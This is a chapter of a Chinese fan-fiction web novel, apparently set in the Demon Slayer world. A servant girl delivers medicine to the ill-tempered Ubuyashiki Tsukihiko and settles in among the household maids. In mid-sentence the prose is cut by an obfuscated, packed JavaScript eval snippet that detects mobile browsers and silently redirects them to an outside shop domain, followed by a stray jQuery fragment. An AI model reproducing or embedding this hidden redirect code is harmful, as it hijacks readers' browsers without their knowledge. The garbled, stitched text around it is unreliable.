3. 摔碗
    产屋敷月彦狭长的眼睛微微眯起,我虽然看不清里面的神色,但却感觉他的视线像蛇爬过全身。

    好恶心的打量。

    老实说,偷瞄别人被抓包还是有些尴尬的,但这种时候谁先移开视线谁才更尴尬。

    我于是顺势将手上一直托着的食案向前伸,等着医师的下一步指令。

    反正我也只将自己看作临时工,听指示就好。

    总归我是来送药的。

    好在医师或许是出于愧疚,立马打断了产屋敷月彦对我的审视。他示意我将端着药的食案递给他,并放在了产屋敷月彦的身前。

    “月彦大人,您最近的身体是否恢复了一些......”他的声音温和极了,却立即被打断了。他才放下的药被产屋敷月彦拍翻,苦涩的药汁几乎浸染了他的衣服,药碗顺势掉下。

    眼看药碗要在我身前破碎,产屋敷月彦嘴角微抬。

    不过。

    电光火石间,我顺势拿着食案将碗接过。

    碗没碎。

    产屋敷月彦面上尽是怨毒的神色,他的脸上出现近乎妖异的恨意。如果我没观察错了话,他是故意将碗拍向医师和我的方向。

    似乎没想着碗会被接住,他恶毒的眼神再次看向我。

    我只是假意害怕和乖顺的低下头。

    【工作守则第一条:不给自己找罪受。】

    我又不傻,待会碗碎了肯定还得我收拾,不如现在就接住呢。

    似乎有气没处发,毕竟下人接过碗并非什么失职的事,产屋敷月彦也无法坦言自己就是想将碗摔了。他于是将火气转向医师。

    “你个没有用的家伙,为什么那么多药喝了我的身体没有一点好转。”产屋敷月彦这么质问着,面上倒因为发火窜上了一片红晕,显得像个活人一些了。

    医师倒是情绪十分稳定,他解释的声音不急不缓,“月彦大人,正如我之前所说,您的身体本身就十分虚弱,所以需要一直进行着药补。如果轻易断药了话,身体可能还会更加虚弱,甚至可能有生命危险。”

    这似乎是产屋敷月彦的死穴,他的脸再次变得像死人般的煞白,脸上的表情扭曲了一会,面上的阴毒消失了,再次开口语气也好多了“那你之前说的能治好我病的药呢?我要的不是一直这样虚弱下去,我需要的可以......”

    产屋敷月彦没继续说下去,他紧紧盯着医师的,阴郁之气再次浮现,就像一条毒蛇。

    医师含笑,似乎终于等来了说正事的契机,“月彦大人,我已经找到了一味神奇的草药,将其和其他的草药一起配置成了一份新药方,相信您再喝完几个疗程之后,身体必然能恢复健康。”

    必然......

    这或许是医师第一次说这么肯定的话语,产屋敷月彦之前因着愤怒皱起的眉立马松开,微眯的双眼瞪大,有些发怔,“你说真的......”

    他对于身体健康好像似乎有着病态的执念,以至于现在能得到一个较好的消息都有些受宠若惊。他脸上茫然无措的表情就像流浪汉中彩票一样,错愕中暗含狂喜。

    医师肯定的点点头。

    产屋敷月彦似乎此时才彻底地接收了这个消息,他收起刚刚怔然的表情,嘴角噙着一种很浅的笑。生的希望使他看起来平和了许多,正当我以为他准备感谢医师或者说些什么时,他却再次语出惊人。

    “最好是真的,医师,否则,我一定会杀了你。”

    等等,不是啊这是什么人渣发言啊。

    我都差点控制不住自己的表情,索性继续埋着头。

    医师仍旧保持好脾气,“月彦大人放心,这回一定能成功。”

    这是在立什么可怕的flag吗?不要随口答应这些事啊,我感觉产屋敷月彦这家伙绝对是认真的。

    我不知道该吐槽医师的自信还是他对于这位产屋敷月彦无理取闹的耐心,反正,在产屋敷月彦将我们赶出内室后,我实在没忍住开口询问。

    “医师,您为什么要答应那么无理的要求呢?”即使是远离了内室,我仍然压低了声音。毕竟隔墙有耳,再加上产屋敷月彦看起来就是个心眼很小的疯子,吐槽也得小心。

    “感谢你的关心。只是故人之约不可违......”医师温和地笑着,看向了庭院。我顺着他的目光看去,庭院内是一颗巨大的樱花树。樱花树占据了庭院大半位置,此时正是夏季,但是樱花树的枝叶并不繁盛,和整个宅邸一样透着一股病恹恹的气息。

    一棵树而已,有什么吗?我收回视线,再次看向医师,却发现医师仍然凝视着那棵树,面露怀念之色。

    感觉这其间一定有什么故事。难道是和曾经暗恋的贵族小姐的遗憾be,还是行医天下之我一定要治好世界上所有疑难杂症,还是说?我看向医师,回想起产屋敷月彦那张脸,忍不住摇了摇头,长得一点也不像。

    “?”医师有些疑惑地看向我,我连忙摆手示意无事发生。

    *

    在向账房先预支了一个月的工钱给医师,麻烦他顺便帮我买些东西带给歌和织子阿姨后,我发现了这份工作的隐形福利确实很多。

    首先领导还不错。是应该除了这个宅邸的主人产屋敷月彦外,其他人都很好说话。账房先生似乎是产屋敷本家来的,为人大度,即使是预支工钱这件事也是十分爽快的答应并且还热情提出可以多预支些。

    再者下女们也都很好相处,有些是贫苦人家的女儿,年纪轻轻就来这做工;有的则是产屋敷家的老人,似乎是从产屋敷月彦出生起就一直在这里照料。她们聚在一起,小心地给之前额角流血的下女上了药,又说了许多宽慰的话。

    最后,也是最重要的一点,这的伙食和住宿条件都不错。产屋敷家似乎是当地的望族,给下人们的待遇也是有名的优渥,就看着这煎烤合意的鮎鱼和有味道的蔬菜,我简直快要哭出来了,盐,终于算吃到了咸

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538188|142476||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的味道。

    不过隐形福利的背后必然有其原因,根据我在和一位年纪较大的下女中聊天中,我得知了医师没向我说的话。

    首先是这位雇主的出生。产屋敷月彦算是这代产屋敷家主和夫人所生的最小的儿子,但是一出生就事死胎,虽然随后发出啼哭存活了,也让家主觉得不详,因此从小便被单独养在这种宅邸中。家主虽然不待见,但毕竟是自己的血脉,因此钱财上的补贴样样不少。

    其次是这位雇主的身体状态比我之前想的还差。屋敷月彦孱弱的身体并未随着年岁渐长而变得强壮,即使是一把小弓也拉不开,即使是在冬日出门走几步,第二天必然高烧不起。

    “而且之前请来的医师们都断言月彦少爷活不过20岁,而今年少爷都19了,所以月彦少爷一直郁郁寡欢,脾气也有些急躁,这也没办法。”老妇人叹了口气,看着我继续吃下了第三碗饭。

    不能继续吃了吗?我有些紧张,稍微咽下了嘴里的饭。

    【工作守则第二条:不和公司/组织/部门老人起冲突】

    我尝试做个复读机,“那也确实没办法。”

    虽然这话很违心,但是效果很好,老妇人得到了认同,又痛快地给我打了一碗饭,并给了我一大块鮎鱼。

    产屋敷月彦的动辄打骂下人的名声加上其不详的出生使得宅邸内很少有新人,因此老妇人得着我这个新来的羊使劲薅,将不知道积攒了多久的事都跟我唠嗑一遍,但我也得益于此,横扫了八碗饭。

    最近好像胃口更好了,难道是之前一直挨着饿的缘故。我摸了摸肚子,暗自忖度,走进了下女们一起睡觉的地方。

    之前额角受伤的女孩头上伤口已经简单擦拭过,没那么可怖。见我站在门口有些不知所措,她径直走了过来。

    “我是樱,请多指教。”

    樱大概只有15岁左右的样子,举止却是很有风度。

    我连忙回礼,“请多指教,樱,叫我李就好,你的伤,没事了吗?”

    “嗯,李!”她笑着看向我,伸手牵着我将我指引到了一个位置,并为我拿来被褥。

    “伤已经没什么大碍了。我就睡在你隔壁,有事可以找我。”她看起来不愿意再谈伤口,只是对我莞尔,“不过我睡姿很差,你可要小心了。”

    听着她这么说,旁边的女孩子也笑了起来,“李你可要小心了,我之前起来就发现樱的脚直接放在了我的脸旁呢.....哈哈哈。”

    见朋友打趣,樱的脸泛上了樱色的霞,那种少年老成的样子破功了,嬉笑着与朋友们玩闹。

    直到年纪较大的下人佯装生气让大家快点睡时,大家才稀稀拉拉安静下来。

    和年纪差不多的女孩子同睡的经历真是感觉恍若隔世。听着大家深浅不一的呼吸声和间歇的磨牙声,我也感到睡意笼罩着我。

    真像回到宿舍了一样......不过是宿管阿姨也要一起睡的那种啊。